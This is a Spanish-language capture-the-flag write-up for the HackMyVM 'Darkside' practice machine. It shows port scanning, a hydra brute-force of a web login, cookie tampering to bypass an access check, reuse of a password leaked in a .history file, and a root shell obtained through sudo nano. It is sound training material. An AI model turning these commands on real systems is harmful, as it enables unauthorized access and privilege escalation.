cd ~/blog

~/writeups/hmv/014-darkside.md

014 - Darkside

easy Linux hmv 10-01-2024
Login brute forceCookie manipulation (access control bypass)Credential leak (.history)sudo nano Privesc
hackmyvm.eu/machines/machine.php?vm=DarkSide

~1 min de lectura


Comenzamos con un escaneo general y específico de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts.txt 192.168.1.20
 nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.20
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-10 14:24 -03
Nmap scan report for 192.168.1.20
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
|   3072 e0:25:46:8e:b8:bb:ba:69:69:1b:a7:4d:28:34:04:dd (RSA)
|   256 60:12:04:69:5e:c4:a1:42:2d:2b:51:8a:57:fe:a8:8a (ECDSA)
|_  256 84:bb:60:b7:79:5d:09:9c:dd:24:23:a3:f2:65:89:3f (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: The DarkSide
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds

Enumeramos directorios con gobuster:

 gobuster dir -u http://192.168.1.20 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
...
/index.php            (Status: 200) [Size: 683]
/backup               (Status: 301) [Size: 313] [--> http://192.168.1.20/backup/]
...

En /backup encontramos un vote.txt que revela varios usuarios y uno destacado, kevin:

 cat vote.txt
File: vote.txt
rijaba: Yes
xerosec: Yes
sml: No
cromiphi: No
gatogamer: No
chema: Yes
talleyrand: No
d3b0o: Yes

Since the result was a draw, we will let you enter the darkside, or at least temporarily, good luck kevin.

El index tiene un login. Hacemos fuerza bruta con el usuario kevin (con el Intruder de Burp o, alternativamente, con hydra):

 hydra -l kevin -P ~/Documentos/wordlists/rockyou.txt 192.168.56.107 http-post-form "/:user=kevin&pass=^PASS^:invalid"

Una vez dentro, nos recibe un mensaje con una cadena cifrada:

Hello Kevin
Remember to go to:
kgr6F1pR4VLAZoFnvRSX1t4GAEqbbph6yYs3ZJw1tXjxZyWCC

Con CyberChef (opción Magic) la desciframos a una dirección .onion:

sfqekmgncutjhbypvxda.onion

En ese directorio hay un mensaje y un script que comprueba una cookie:

Which Side Are You On?
<script>
  var sideCookie = document.cookie.match(/(^| )side=([^;]+)/)
  if (sideCookie && sideCookie[2] === 'darkside') {
    window.location.href = 'hwvhysntovtanj.password'
  }
</script>

Manipulamos la cookie con la extensión EditThisCookie, cambiando el valor whiteside por darkside. Al recargar, la página nos muestra unas credenciales con las que iniciamos sesión por SSH y obtenemos la primera flag.

Inspeccionando el home del usuario, un archivo .history contiene lo que parece la contraseña de otro usuario (rijaba). Con esa sesión iniciamos la escalada con sudo -l:

rijaba@darkside:~$ sudo -l
Matching Defaults entries for rijaba on darkside:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rijaba may run the following commands on darkside:
    (root) NOPASSWD: /usr/bin/nano

Podemos ejecutar nano como root. Lo abrimos y, según GTFOBins, usamos Ctrl+T para ejecutar comandos, lanzando una shell:

 sudo nano
 reset; sh 1>&0 2>&0

Obtenemos acceso root y capturamos la última bandera.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados